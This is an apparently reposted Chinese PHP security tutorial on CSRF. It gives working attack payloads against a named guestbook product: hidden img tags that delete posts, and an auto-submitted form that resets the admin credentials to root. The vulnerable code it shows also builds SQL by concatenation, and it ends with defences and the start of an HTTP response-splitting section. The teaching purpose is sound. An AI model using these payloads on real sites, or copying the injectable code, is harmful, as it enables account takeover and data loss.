<div class="line number256 index255 alt1"><code class="php plain">CSRF(Cross Site Request Forgeries)，意为跨网站请求伪造，也有写为XSRF。攻击者伪造目标用户的HTTP请求，然后此请求发送到有CSRF漏洞的网站，网站执行此请求后，引发跨站请求伪造攻击。攻击者利用隐蔽的HTTP连接，让目标用户在不注意的情况下单击这个链接，由于是用户自己点击的，而他又是合法用户拥有合法权限，所以目标用户能够在网站内执行特定的HTTP链接，从而达到攻击者的目的。</code></div>
<div class="line number257 index256 alt2"><code class="php plain">例如:某个购物网站购买商品时，采用http:</code><code class="php comments">//www.shop.com/buy.php?item=watch&num=1，item参数确定要购买什么物品，num参数确定要购买数量，如果攻击者以隐藏的方式发送给目标用户链接</code></div>
<div class="line number258 index257 alt1"><code class="php plain"><img src=</code><code class="php string">"http://www.shop.com/buy.php?item=watch&num=1000"</code><code class="php plain">/>，那么如果目标用户不小心访问以后，购买的数量就成了1000个</code></div>
<div class="line number259 index258 alt2"><code class="php plain">实例</code></div>
<div class="line number260 index259 alt1"><code class="php plain">随缘网络PHP留言板V1.0</code></div>
<div class="line number261 index260 alt2"><code class="php plain">任意删除留言</code></div>
<div class="line number262 index261 alt1"><code class="php comments">//delbook.php 此页面用于删除留言</code></div>
<div class="line number263 index262 alt2"><code class="php plain"><?php</code></div>
<div class="line number264 index263 alt1"><code class="php keyword">include_once</code><code class="php plain">(</code><code class="php string">"dlyz.php"</code><code class="php plain">); </code><code class="php comments">//dlyz.php用户验证权限，当权限是admin的时候方可删除留言</code></div>
<div class="line number265 index264 alt2"><code class="php keyword">include_once</code><code class="php plain">(</code><code class="php string">"../conn.php"</code><code class="php plain">);</code></div>
<div class="line number266 index265 alt1"><code class="php variable">$del</code><code class="php plain">=</code><code class="php variable">$_GET</code><code class="php plain">[</code><code class="php string">"del"</code><code class="php plain">];</code></div>
<div class="line number267 index266 alt2"><code class="php variable">$id</code><code class="php plain">=</code><code class="php variable">$_GET</code><code class="php plain">[</code><code class="php string">"id"</code><code class="php plain">];</code></div>
<div class="line number268 index267 alt1"><code class="php keyword">if</code> <code class="php plain">(</code><code class="php variable">$del</code><code class="php plain">==</code><code class="php string">"data"</code><code class="php plain">)</code></div>
<div class="line number269 index268 alt2"><code class="php plain">{</code></div>
<div class="line number270 index269 alt1"><code class="php variable">$ID_Dele</code><code class="php plain">= implode(</code><code class="php string">","</code><code class="php plain">,</code><code class="php variable">$_POST</code><code class="php plain">[</code><code class="php string">'adid'</code><code class="php plain">]);</code></div>
<div class="line number271 index270 alt2"><code class="php variable">$sql</code><code class="php plain">=</code><code class="php string">"delete from book where id in ("</code><code class="php plain">.</code><code class="php variable">$ID_Dele</code><code class="php plain">.</code><code class="php string">")"</code><code class="php plain">;</code></div>
<div class="line number272 index271 alt1"><code class="php plain">mysql_query(</code><code class="php variable">$sql</code><code class="php plain">);</code></div>
<div class="line number273 index272 alt2"><code class="php plain">}</code></div>
<div class="line number274 index273 alt1"><code class="php keyword">else</code></div>
<div class="line number275 index274 alt2"><code class="php plain">{</code></div>
<div class="line number276 index275 alt1"><code class="php variable">$sql</code><code class="php plain">=</code><code class="php string">"delete from book where id="</code><code class="php plain">.</code><code class="php variable">$id</code><code class="php plain">; </code><code class="php comments">//传递要删除的留言ID</code></div>
<div class="line number277 index276 alt2"><code class="php plain">mysql_query(</code><code class="php variable">$sql</code><code class="php plain">);</code></div>
<div class="line number278 index277 alt1"><code class="php plain">}</code></div>
<div class="line number279 index278 alt2"><code class="php plain">mysql_close(</code><code class="php variable">$conn</code><code class="php plain">);</code></div>
<div class="line number280 index279 alt1"><code class="php functions">echo</code> <code class="php string">"<script language='javascript'>"</code><code class="php plain">;</code></div>
<div class="line number281 index280 alt2"><code class="php functions">echo</code> <code class="php string">"alert(‘删除成功！');"</code><code class="php plain">;</code></div>
<div class="line number282 index281 alt1"><code class="php functions">echo</code> <code class="php string">" location='book.php';"</code><code class="php plain">;</code></div>
<div class="line number283 index282 alt2"><code class="php functions">echo</code> <code class="php string">"</script>"</code><code class="php plain">;</code></div>
<div class="line number284 index283 alt1"><code class="php plain">?></code></div>
<div class="line number285 index284 alt2"><code class="php plain">当我们具有admin权限，提交http:</code><code class="php comments">//localhost/manage/delbook.php?id=2 时，就会删除id为2的留言</code></div>
<div class="line number286 index285 alt1"><code class="php plain">利用方法:</code></div>
<div class="line number287 index286 alt2"><code class="php plain">我们使用普通用户留言（源代码方式），内容为</code></div>
<div class="line number288 index287 alt1"><code class="php plain"><img src=</code><code class="php string">"delbook.php?id=2"</code> <code class="php plain">/></code></div>
<div class="line number289 index288 alt2"><code class="php plain"><img src=</code><code class="php string">"delbook.php?id=3"</code> <code class="php plain">/></code></div>
<div class="line number290 index289 alt1"><code class="php plain"><img src=</code><code class="php string">"delbook.php?id=4"</code> <code class="php plain">/></code></div>
<div class="line number291 index290 alt2"><code class="php plain"><img src=</code><code class="php string">"delbook.php?id=5"</code> <code class="php plain">/></code></div>
<div class="line number292 index291 alt1"><code class="php plain">插入4张图片链接分别删除4个id留言，然后我们返回首页浏览看，没有什么变化。。图片显示不了</code></div>
<div class="line number293 index292 alt2"><code class="php plain">现在我们再用管理员账号登陆后，来刷新首页，会发现留言就剩一条，其他在图片链接中指定的ID号的留言，全部都被删除。</code></div>
<div class="line number294 index293 alt1"><code class="php plain">攻击者在留言中插入隐藏的图片链接，此链接具有删除留言的作用，而攻击者自己访问这些图片链接的时候，是不具有权限的，所以看不到任何效果，但是当管理员登陆后，查看此留言，就会执行隐藏的链接，而他的权限又是足够大的，从而这些留言就被删除了</code></div>
<div class="line number295 index294 alt2"><code class="php plain">修改管理员密码</code></div>
<div class="line number296 index295 alt1"><code class="php comments">//pass.php</code></div>
<div class="line number297 index296 alt2"><code class="php keyword">if</code><code class="php plain">(</code><code class="php variable">$_GET</code><code class="php plain">[</code><code class="php string">"act"</code><code class="php plain">])</code></div>
<div class="line number298 index297 alt1"><code class="php plain">{</code></div>
<div class="line number299 index298 alt2"><code class="php variable">$username</code><code class="php plain">=</code><code class="php variable">$_POST</code><code class="php plain">[</code><code class="php string">"username"</code><code class="php plain">];</code></div>
<div class="line number300 index299 alt1"><code class="php variable">$sh</code><code class="php plain">=</code><code class="php variable">$_POST</code><code class="php plain">[</code><code class="php string">"sh"</code><code class="php plain">];</code></div>
<div class="line number301 index300 alt2"><code class="php variable">$gg</code><code class="php plain">=</code><code class="php variable">$_POST</code><code class="php plain">[</code><code class="php string">"gg"</code><code class="php plain">];</code></div>
<div class="line number302 index301 alt1"><code class="php variable">$title</code><code class="php plain">=</code><code class="php variable">$_POST</code><code class="php plain">[</code><code class="php string">"title"</code><code class="php plain">];</code></div>
<div class="line number303 index302 alt2"><code class="php variable">$copyright</code><code class="php plain">=</code><code class="php variable">$_POST</code><code class="php plain">[</code><code class="php string">"copyright"</code><code class="php plain">].</code><code class="php string">"<br/>设计制作：<a href=http://www.115cn.cn>厦门随缘网络科技</a>"</code><code class="php plain">;</code></div>
<div class="line number304 index303 alt1"><code class="php variable">$password</code><code class="php plain">=md5(</code><code class="php variable">$_POST</code><code class="php plain">[</code><code class="php string">"password"</code><code class="php plain">]);</code></div>
<div class="line number305 index304 alt2"><code class="php keyword">if</code><code class="php plain">(</code><code class="php functions">empty</code><code class="php plain">(</code><code class="php variable">$_POST</code><code class="php plain">[</code><code class="php string">"password"</code><code class="php plain">]))</code></div>
<div class="line number306 index305 alt1"><code class="php plain">{</code></div>
<div class="line number307 index306 alt2"><code class="php variable">$sql</code><code class="php plain">=</code><code class="php string">"update gly set username='"</code><code class="php plain">.</code><code class="php variable">$username</code><code class="php plain">.</code><code class="php string">"',sh="</code><code class="php plain">.</code><code class="php variable">$sh</code><code class="php plain">.</code><code class="php string">",gg='"</code><code class="php plain">.</code><code class="php variable">$gg</code><code class="php plain">.</code><code class="php string">"',title='"</code><code class="php plain">.</code><code class="php variable">$title</code><code class="php plain">.</code><code class="php string">"',copyright='"</code><code class="php plain">.</code><code class="php variable">$copyright</code><code class="php plain">.</code><code class="php string">"' where id=1"</code><code class="php plain">;</code></div>
<div class="line number308 index307 alt1"><code class="php plain">}</code></div>
<div class="line number309 index308 alt2"><code class="php keyword">else</code></div>
<div class="line number310 index309 alt1"><code class="php plain">{</code></div>
<div class="line number311 index310 alt2"><code class="php variable">$sql</code><code class="php plain">=</code><code class="php string">"update gly set username='"</code><code class="php plain">.</code><code class="php variable">$username</code><code class="php plain">.</code><code class="php string">"',password='"</code><code class="php plain">.</code><code class="php variable">$password</code><code class="php plain">.</code><code class="php string">"',sh="</code><code class="php plain">.</code><code class="php variable">$sh</code><code class="php plain">.</code><code class="php string">",gg='"</code><code class="php plain">.</code><code class="php variable">$gg</code><code class="php plain">.</code><code class="php string">"',title='"</code><code class="php plain">.</code><code class="php variable">$title</code><code class="php plain">.</code><code class="php string">"',copyright='"</code><code class="php plain">.</code><code class="php variable">$copyright</code><code class="php plain">.</code><code class="php string">"' where id=1"</code><code class="php plain">;</code></div>
<div class="line number312 index311 alt1"><code class="php plain">}</code></div>
<div class="line number313 index312 alt2"><code class="php plain">mysql_query(</code><code class="php variable">$sql</code><code class="php plain">);</code></div>
<div class="line number314 index313 alt1"><code class="php plain">mysql_close(</code><code class="php variable">$conn</code><code class="php plain">);</code></div>
<div class="line number315 index314 alt2"><code class="php functions">echo</code> <code class="php string">"<script language='javascript'>"</code><code class="php plain">;</code></div>
<div class="line number316 index315 alt1"><code class="php functions">echo</code> <code class="php string">"alert(‘修改成功！');"</code><code class="php plain">;</code></div>
<div class="line number317 index316 alt2"><code class="php functions">echo</code> <code class="php string">" location='pass.php';"</code><code class="php plain">;</code></div>
<div class="line number318 index317 alt1"><code class="php functions">echo</code> <code class="php string">"</script>"</code><code class="php plain">;</code></div>
<div class="line number319 index318 alt2"><code class="php plain">}</code></div>
<div class="line number320 index319 alt1"><code class="php plain">这个文件用于修改管理密码和网站设置的一些信息，我们可以直接构造如下表单:</code></div>
<div class="line number321 index320 alt2"><code class="php plain"><body></code></div>
<div class="line number322 index321 alt1"><code class="php plain"><form action=</code><code class="php string">"http://localhost/manage/pass.php?act=xg"</code> <code class="php plain">method=</code><code class="php string">"post"</code> <code class="php plain">name=</code><code class="php string">"form1"</code> <code class="php plain">id=</code><code class="php string">"form1"</code><code class="php plain">></code></div>
<div class="line number323 index322 alt2"><code class="php plain"><input type=</code><code class="php string">"radio"</code> <code class="php plain">value=</code><code class="php string">"1"</code> <code class="php plain">name=</code><code class="php string">"sh"</code><code class="php plain">></code></div>
<div class="line number324 index323 alt1"><code class="php plain"><input type=</code><code class="php string">"radio"</code> <code class="php plain">name=</code><code class="php string">"sh"</code> <code class="php plain">checked value=</code><code class="php string">"0"</code><code class="php plain">></code></div>
<div class="line number325 index324 alt2"><code class="php plain"><input type=</code><code class="php string">"text"</code> <code class="php plain">name=</code><code class="php string">"username"</code> <code class="php plain">value=</code><code class="php string">"root"</code><code class="php plain">></code></div>
<div class="line number326 index325 alt1"><code class="php plain"><input type=</code><code class="php string">"password"</code> <code class="php plain">name=</code><code class="php string">"password"</code> <code class="php plain">value=</code><code class="php string">"root"</code><code class="php plain">></code></div>
<div class="line number327 index326 alt2"><code class="php plain"><input type=</code><code class="php string">"text"</code> <code class="php plain">name=</code><code class="php string">"title"</code> <code class="php plain">value=</code><code class="php string">"随缘网络PHP留言板V1.0(带审核功能)"</code> <code class="php plain">></code></div>
<div class="line number328 index327 alt1"><code class="php plain"><textarea name=</code><code class="php string">"gg"</code> <code class="php plain">rows=</code><code class="php string">"6"</code> <code class="php plain">cols=</code><code class="php string">"80"</code> <code class="php plain">>欢迎您安装使用随缘网络PHP留言板V1.0(带审核功能)！</textarea></code></div>
<div class="line number329 index328 alt2"><code class="php plain"><textarea name=</code><code class="php string">"copyright"</code> <code class="php plain">rows=</code><code class="php string">"6"</code> <code class="php plain">cols=</code><code class="php string">"80"</code> <code class="php plain">>随缘网络PHP留言本V1.0 版权所有：厦门随缘网络科技 2005-2009<br/>承接网站建设及系统定制 提供优惠主机域名</textarea></code></div>
<div class="line number330 index329 alt1"><code class="php plain"></form></code></div>
<div class="line number331 index330 alt2"><code class="php plain"></body></code></div>
<div class="line number332 index331 alt1"><code class="php plain">存为attack.html，放到自己网站上http:</code><code class="php comments">//www.sectop.com/attack.html，此页面访问后会自动向目标程序的pass.php提交参数，用户名修改为root，密码修改为root，然后我们去留言板发一条留言，隐藏这个链接，管理访问以后，他的用户名和密码全部修改成了root</code></div>
<div class="line number333 index332 alt2"><code class="php plain">防范方法</code></div>
<div class="line number334 index333 alt1"><code class="php plain">防范CSRF要比防范其他攻击更加困难，因为CSRF的HTTP请求虽然是攻击者伪造的，但是却是由目标用户发出的，一般常见的防范方法有下面几种:</code></div>
<div class="line number335 index334 alt2"><code class="php plain">1、检查网页的来源</code></div>
<div class="line number336 index335 alt1"><code class="php plain">2、检查内置的隐藏变量</code></div>
<div class="line number337 index336 alt2"><code class="php plain">3、使用POST，不要使用GET</code></div>
<div class="line number338 index337 alt1"><code class="php plain">检查网页来源</code></div>
<div class="line number339 index338 alt2"><code class="php plain">在</code><code class="php comments">//pass.php头部加入以下红色字体代码，验证数据提交</code></div>
<div class="line number340 index339 alt1"><code class="php keyword">if</code><code class="php plain">(</code><code class="php variable">$_GET</code><code class="php plain">[</code><code class="php string">"act"</code><code class="php plain">])</code></div>
<div class="line number341 index340 alt2"><code class="php plain">{</code></div>
<div class="line number342 index341 alt1"><code class="php keyword">if</code><code class="php plain">(isset(</code><code class="php variable">$_SERVER</code><code class="php plain">[</code><code class="php string">"HTTP_REFERER"</code><code class="php plain">]))</code></div>
<div class="line number343 index342 alt2"><code class="php plain">{</code></div>
<div class="line number344 index343 alt1"><code class="php spaces"> </code><code class="php variable">$serverhost</code> <code class="php plain">= </code><code class="php variable">$_SERVER</code><code class="php plain">[</code><code class="php string">"SERVER_NAME"</code><code class="php plain">];</code></div>
<div class="line number345 index344 alt2"><code class="php spaces"> </code><code class="php variable">$strurl</code> <code class="php plain">= </code><code class="php functions">str_replace</code><code class="php plain">(</code><code class="php string">"http://"</code><code class="php plain">,</code><code class="php string">""</code><code class="php plain">,</code><code class="php variable">$_SERVER</code><code class="php plain">[</code><code class="php string">"HTTP_REFERER"</code><code class="php plain">]); </code></div>
<div class="line number346 index345 alt1"><code class="php spaces"> </code><code class="php variable">$strdomain</code> <code class="php plain">= </code><code class="php functions">explode</code><code class="php plain">(</code><code class="php string">"/"</code><code class="php plain">,</code><code class="php variable">$strurl</code><code class="php plain">); </code></div>
<div class="line number347 index346 alt2"><code class="php spaces"> </code><code class="php variable">$sourcehost</code> <code class="php plain">= </code><code class="php variable">$strdomain</code><code class="php plain">; </code></div>
<div class="line number348 index347 alt1"><code class="php spaces"> </code><code class="php keyword">if</code><code class="php plain">(</code><code class="php functions">strncmp</code><code class="php plain">(</code><code class="php variable">$sourcehost</code><code class="php plain">, </code><code class="php variable">$serverhost</code><code class="php plain">, </code><code class="php functions">strlen</code><code class="php plain">(</code><code class="php variable">$serverhost</code><code class="php plain">)))</code></div>
<div class="line number349 index348 alt2"><code class="php spaces"> </code><code class="php plain">{</code></div>
<div class="line number350 index349 alt1"><code class="php spaces"> </code><code class="php plain">unset(</code><code class="php variable">$_POST</code><code class="php plain">);</code></div>
<div class="line number351 index350 alt2"><code class="php spaces"> </code><code class="php functions">echo</code> <code class="php string">"<script language='javascript'>"</code><code class="php plain">;</code></div>
<div class="line number352 index351 alt1"><code class="php spaces"> </code><code class="php functions">echo</code> <code class="php string">"alert(‘数据来源异常!');"</code><code class="php plain">;</code></div>
<div class="line number353 index352 alt2"><code class="php spaces"> </code><code class="php plain">&</code></div>
<div class="line number354 index353 alt1"><code class="php plain">nbsp; </code><code class="php functions">echo</code> <code class="php string">" location='index.php';"</code><code class="php plain">;</code></div>
<div class="line number355 index354 alt2"><code class="php spaces"> </code><code class="php functions">echo</code> <code class="php string">"</script>"</code><code class="php plain">;</code></div>
<div class="line number356 index355 alt1"><code class="php spaces"> </code><code class="php plain">}</code></div>
<div class="line number357 index356 alt2"><code class="php plain">}</code></div>
<div class="line number358 index357 alt1"><code class="php variable">$username</code><code class="php plain">=</code><code class="php variable">$_POST</code><code class="php plain">[</code><code class="php string">"username"</code><code class="php plain">];</code></div>
<div class="line number359 index358 alt2"><code class="php variable">$sh</code><code class="php plain">=</code><code class="php variable">$_POST</code><code class="php plain">[</code><code class="php string">"sh"</code><code class="php plain">];</code></div>
<div class="line number360 index359 alt1"><code class="php variable">$gg</code><code class="php plain">=</code><code class="php variable">$_POST</code><code class="php plain">[</code><code class="php string">"gg"</code><code class="php plain">];</code></div>
<div class="line number361 index360 alt2"><code class="php variable">$title</code><code class="php plain">=</code><code class="php variable">$_POST</code><code class="php plain">[</code><code class="php string">"title"</code><code class="php plain">];</code></div>
<div class="line number362 index361 alt1"><code class="php variable">$copyright</code><code class="php plain">=</code><code class="php variable">$_POST</code><code class="php plain">[</code><code class="php string">"copyright"</code><code class="php plain">].</code><code class="php string">"<br/>设计制作：<a href=http://www.115cn.cn>厦门随缘网络科技</a>"</code><code class="php plain">;</code></div>
<div class="line number363 index362 alt2"><code class="php variable">$password</code><code class="php plain">=md5(</code><code class="php variable">$_POST</code><code class="php plain">[</code><code class="php string">"password"</code><code class="php plain">]);</code></div>
<div class="line number364 index363 alt1"><code class="php keyword">if</code><code class="php plain">(</code><code class="php functions">empty</code><code class="php plain">(</code><code class="php variable">$_POST</code><code class="php plain">[</code><code class="php string">"password"</code><code class="php plain">]))</code></div>
<div class="line number365 index364 alt2"><code class="php plain">{</code></div>
<div class="line number366 index365 alt1"><code class="php variable">$sql</code><code class="php plain">=</code><code class="php string">"update gly set username='"</code><code class="php plain">.</code><code class="php variable">$username</code><code class="php plain">.</code><code class="php string">"',sh="</code><code class="php plain">.</code><code class="php variable">$sh</code><code class="php plain">.</code><code class="php string">",gg='"</code><code class="php plain">.</code><code class="php variable">$gg</code><code class="php plain">.</code><code class="php string">"',title='"</code><code class="php plain">.</code><code class="php variable">$title</code><code class="php plain">.</code><code class="php string">"',copyright='"</code><code class="php plain">.</code><code class="php variable">$copyright</code><code class="php plain">.</code><code class="php string">"' where id=1"</code><code class="php plain">;</code></div>
<div class="line number367 index366 alt2"><code class="php plain">}</code></div>
<div class="line number368 index367 alt1"><code class="php keyword">else</code></div>
<div class="line number369 index368 alt2"><code class="php plain">{</code></div>
<div class="line number370 index369 alt1"><code class="php variable">$sql</code><code class="php plain">=</code><code class="php string">"update gly set username='"</code><code class="php plain">.</code><code class="php variable">$username</code><code class="php plain">.</code><code class="php string">"',password='"</code><code class="php plain">.</code><code class="php variable">$password</code><code class="php plain">.</code><code class="php string">"',sh="</code><code class="php plain">.</code><code class="php variable">$sh</code><code class="php plain">.</code><code class="php string">",gg='"</code><code class="php plain">.</code><code class="php variable">$gg</code><code class="php plain">.</code><code class="php string">"',title='"</code><code class="php plain">.</code><code class="php variable">$title</code><code class="php plain">.</code><code class="php string">"',copyright='"</code><code class="php plain">.</code><code class="php variable">$copyright</code><code class="php plain">.</code><code class="php string">"' where id=1"</code><code class="php plain">;</code></div>
<div class="line number371 index370 alt2"><code class="php plain">}</code></div>
<div class="line number372 index371 alt1"><code class="php plain">mysql_query(</code><code class="php variable">$sql</code><code class="php plain">);</code></div>
<div class="line number373 index372 alt2"><code class="php plain">mysql_close(</code><code class="php variable">$conn</code><code class="php plain">);</code></div>
<div class="line number374 index373 alt1"><code class="php functions">echo</code> <code class="php string">"<script language='javascript'>"</code><code class="php plain">;</code></div>
<div class="line number375 index374 alt2"><code class="php functions">echo</code> <code class="php string">"alert(‘修改成功！');"</code><code class="php plain">;</code></div>
<div class="line number376 index375 alt1"><code class="php functions">echo</code> <code class="php string">" location='pass.php';"</code><code class="php plain">;</code></div>
<div class="line number377 index376 alt2"><code class="php functions">echo</code> <code class="php string">"</script>"</code><code class="php plain">;</code></div>
<div class="line number378 index377 alt1"><code class="php plain">}</code></div>
<div class="line number379 index378 alt2"><code class="php plain">检查内置隐藏变量</code></div>
<div class="line number380 index379 alt1"><code class="php plain">我们在表单中内置一个隐藏变量和一个session变量，然后检查这个隐藏变量和session变量是否相等，以此来判断是否同一个网页所调用</code></div>
<div class="line number381 index380 alt2"><code class="php plain"><?php</code></div>
<div class="line number382 index381 alt1"><code class="php keyword">include_once</code><code class="php plain">(</code><code class="php string">"dlyz.php"</code><code class="php plain">);</code></div>
<div class="line number383 index382 alt2"><code class="php keyword">include_once</code><code class="php plain">(</code><code class="php string">"../conn.php"</code><code class="php plain">);</code></div>
<div class="line number384 index383 alt1"><code class="php keyword">if</code><code class="php plain">(</code><code class="php variable">$_GET</code><code class="php plain">[</code><code class="php string">"act"</code><code class="php plain">])</code></div>
<div class="line number385 index384 alt2"><code class="php plain">{</code></div>
<div class="line number386 index385 alt1"><code class="php keyword">if</code> <code class="php plain">(!isset(</code><code class="php variable">$_SESSION</code><code class="php plain">[</code><code class="php string">"post_id"</code><code class="php plain">]))</code></div>
<div class="line number387 index386 alt2"><code class="php plain">{</code></div>
<div class="line number388 index387 alt1"><code class="php spaces"> </code><code class="php comments">// 生成唯一的ID，并使用MD5来加密</code></div>
<div class="line number389 index388 alt2"><code class="php spaces"> </code><code class="php variable">$post_id</code> <code class="php plain">= md5(uniqid(rand(), true));</code></div>
<div class="line number390 index389 alt1"><code class="php spaces"> </code><code class="php comments">// 创建Session变量</code></div>
<div class="line number391 index390 alt2"><code class="php spaces"> </code><code class="php variable">$_SESSION</code><code class="php plain">[</code><code class="php string">"post_id"</code><code class="php plain">] = </code><code class="php variable">$post_id</code><code class="php plain">;</code></div>
<div class="line number392 index391 alt1"><code class="php plain">}</code></div>
<div class="line number393 index392 alt2"><code class="php comments">// 检查是否相等</code></div>
<div class="line number394 index393 alt1"><code class="php keyword">if</code> <code class="php plain">(isset(</code><code class="php variable">$_SESSION</code><code class="php plain">[</code><code class="php string">"post_id"</code><code class="php plain">]))</code></div>
<div class="line number395 index394 alt2"><code class="php plain">{</code></div>
<div class="line number396 index395 alt1"><code class="php spaces"> </code><code class="php comments">// 不相等</code></div>
<div class="line number397 index396 alt2"><code class="php spaces"> </code><code class="php keyword">if</code> <code class="php plain">(</code><code class="php variable">$_SESSION</code><code class="php plain">[</code><code class="php string">"post_id"</code><code class="php plain">] != </code><code class="php variable">$_POST</code><code class="php plain">[</code><code class="php string">"post_id"</code><code class="php plain">])</code></div>
<div class="line number398 index397 alt1"><code class="php spaces"> </code><code class="php plain">{</code></div>
<div class="line number399 index398 alt2"><code class="php spaces"> </code><code class="php comments">// 清除POST变量</code></div>
<div class="line number400 index399 alt1"><code class="php spaces"> </code><code class="php plain">unset(</code><code class="php variable">$_POST</code><code class="php plain">);</code></div>
<div class="line number401 index400 alt2"><code class="php spaces"> </code><code class="php functions">echo</code> <code class="php string">"<script language='javascript'>"</code><code class="php plain">;</code></div>
<div class="line number402 index401 alt1"><code class="php spaces"> </code><code class="php functions">echo</code> <code class="php string">"alert(‘数据来源异常!');"</code><code class="php plain">;</code></div>
<div class="line number403 index402 alt2"><code class="php spaces"> </code><code class="php functions">echo</code> <code class="php string">" location='index.php';"</code><code class="php plain">; </code></div>
<div class="line number404 index403 alt1"><code class="php spaces"> </code><code class="php functions">echo</code> <code class="php string">"</script>"</code><code class="php plain">;</code></div>
<div class="line number405 index404 alt2"><code class="php spaces"> </code><code class="php plain">}</code></div>
<div class="line number406 index405 alt1"><code class="php plain">}</code></div>
<div class="line number407 index406 alt2"><code class="php plain">……</code></div>
<div class="line number408 index407 alt1"><code class="php spaces"> </code><code class="php plain"><input type=</code><code class="php string">"reset"</code> <code class="php plain">name=</code><code class="php string">"Submit2"</code> <code class="php plain">value=</code><code class="php string">"重 置"</code><code class="php plain">></code></div>
<div class="line number409 index408 alt2"><code class="php plain"><input type=</code><code class="php string">"hidden"</code> <code class="php plain">name=</code><code class="php string">"post_id"</code> <code class="php plain">value=</code><code class="php string">"<?php echo $_SESSION["</code><code class="php plain">post_id</code><code class="php string">"];?>"</code><code class="php plain">></code></div>
<div class="line number410 index409 alt1"><code class="php plain"></td></tr></code></div>
<div class="line number411 index410 alt2"><code class="php spaces"> </code><code class="php plain"></table></code></div>
<div class="line number412 index411 alt1"><code class="php plain"></form></code></div>
<div class="line number413 index412 alt2"><code class="php plain"><?php</code></div>
<div class="line number414 index413 alt1"><code class="php plain">}</code></div>
<div class="line number415 index414 alt2"><code class="php plain">mysql_close(</code><code class="php variable">$conn</code><code class="php plain">);</code></div>
<div class="line number416 index415 alt1"><code class="php plain">?></code></div>
<div class="line number417 index416 alt2"><code class="php plain"></body></code></div>
<div class="line number418 index417 alt1"><code class="php plain"></html></code></div>
<div class="line number419 index418 alt2"><code class="php plain">使用POST，不要使用GET</code></div>
<div class="line number420 index419 alt1"><code class="php plain">传递表单字段时，一定要是用POST，不要使用GET，处理变量也不要直接使用</code><code class="php variable">$_REQUEST</code></div>
<div class="line number421 index420 alt2"><code class="php spaces"> </code> </div>
<div class="line number422 index421 alt1"><code class="php plain">http响应拆分</code></div>
<div class="line number423 index422 alt2"><code class="php spaces"> </code> </div>
<div class="line number424 index423 alt1"><code class="php plain">HTTP请求的格式</code></div>
<div class="line number425 index424 alt2"><code class="php plain">1）请求信息：例如“Get /index.php HTTP/1.1”，请求index.php文件</code></div>
<div class="line number426 index425 alt1"><code class="php plain">2）表头：例如“Host: localhost”，表示服务器地址</code></div>
<div class="line number427 index426 alt2"><code class="php plain">3）空白行</code></div>
<div class="line number428 index427 alt1"><code class="php plain">4）信息正文</code></div>
<div class="line number429 index428 alt2"><code class="php plain">“请求信息”和“表头”都必须使用换行字符（CRLF）来结尾，空白行只能包含换行符，不可以有其他空格符。</code></div>
<div class="line number430 index429 alt1"><code class="php plain">下面例子发送HTTP请求给服务器www.yhsafe.com</code></div>
<div class="line number431 index430 alt2"><code class="php plain">GET /index.php HTTP/1.1↙ </code><code class="php comments">//请求信息 </code></div>
<div class="line number432 index431 alt1"><code class="php plain">Host:www.yhsafe.com↙ </code><code class="php comments">//表头</code></div>
<div class="line number433 index432 alt2"><code class="php plain">↙ </code><code class="php comments">//空格行</code></div>
<div class="line number434 index433 alt1"><code class="php plain">↙</code></div>
<div class="line number435 index434 alt2"><code class="php spaces"> </code><code class="php plain">↙符号表示回车键，在空白行之后还要在按一个空格才会发送HTTP请求，HTTP请求的表头中只有Host表头是必要的饿，其余的HTTP表头则是根据HTTP请求的内容而定。</code></div>
<div class="line number436 index435 alt1"><code class="php spaces"> </code> </div>
<div class="line number437 index436 alt2"><code class="php plain">HTTP请求的方法</code></div>
<div class="line number438 index437 alt1"><code class="php plain">1）GET：请求响应</code></div>
<div class="line number439 index438 alt2"><code class="php plain">2）HEAD：与GET相同的响应，只要求响应表头</code></div>
<div class="line number440 index439 alt1"><code class="php plain">3）POST：发送数据给服务器处理，数据包含在HTTP信息正文中</code></div>
<div class="line number441 index440 alt2"><code class="php plain">4）PUT：上传文件</code></div>
<div class="line number442 index441 alt1"><code class="php plain">5）</code><code class="php functions">DELETE</code><code class="php plain">：删除文件</code></div>
<div class="line number443 index442 alt2"><code class="php plain">6）TRACE：追踪收到的请求</code></div>
<div class="line number444 index443 alt1"><code class="php plain">7）OPTIONS：返回服务器所支持的HTTP请求的方法</code></div>
<div class="line number445 index444 alt2"><code class="php plain">8）CONNECT：将HTTP请求的连接转换成透明的TCP/IP通道</code></div>
<div class="line number446 index445 alt1"><code class="php spaces"> </code> </div>
<div class="line number447 index446 alt2"><code class="php plain">HTTP响应的格式</code></div>
<div class="line number448 index447 alt1"><code class="php plain">服务器在处理完客户端所提出的HTTP请求后，会发送下列响应。</code></div>
<div class="line number449 index448 alt2"><code class="php plain">1）第一行是状态码</code></div>
<div class="line number450 index449 alt1"><code class="php plain">2）第二行开始是其他信息</code></div>
<div class="line number451 index450 alt2"><code class="php plain">状态码包含一个标识状态的数字和一个描述状态的单词。例如：</code></div>
<div class="line number452 index451 alt1"><code class="php plain">HTTP/1.1 200 OK</code></div>
<div class="line number453 index452 alt2"><code class="php plain">200是标识状态的是数字，OK则是描述状态的单词，这个状态码标识请求成功。</code></div>
<div class="line number454 index453 alt1"><code class="php plain">HTTP请求和响应的例子</code></div>
<div class="line number455 index454 alt2"><code class="php plain">打开cmd输入telnet，输入open www.00aq.com 80</code></div>
<div class="line number456 index455 alt1"><code class="php plain">打开连接后输入</code></div>
<div class="line number457 index456 alt2"><code class="php plain">GET /index.php HTTP/1.1↙ </code></div>
<div class="line number458 index457 alt1"><code class="php plain">Host:www.00aq.com↙ </code></div>
<div class="line number459 index458 alt2"><code class="php plain">↙ </code></div>
<div class="line number460 index459 alt1"><code class="php plain">↙</code></div>
<div class="line number461 index460 alt2"><code class="php plain">返回HTTP响应的表头</code></div>
<div class="line number462 index461 alt1"><code class="php plain">返回的首页内容</code></div>
<div class="line number463 index462 alt2"><code class="php plain">使用PHP来发送HTTP请求</code></div>
<div class="line number464 index463 alt1"><code class="php plain">header函数可以用来发送HTTP请求和响应的表头</code></div>
<div class="line number465 index464 alt2"><code class="php plain">函数原型</code></div>
<div class="line number466 index465 alt1"><code class="php plain">void header(string string [, bool replace [, int http_response_code]])</code></div><br><br>
来源：https://www.cnblogs.com/0daybug/p/12304994.html
頁:
[1]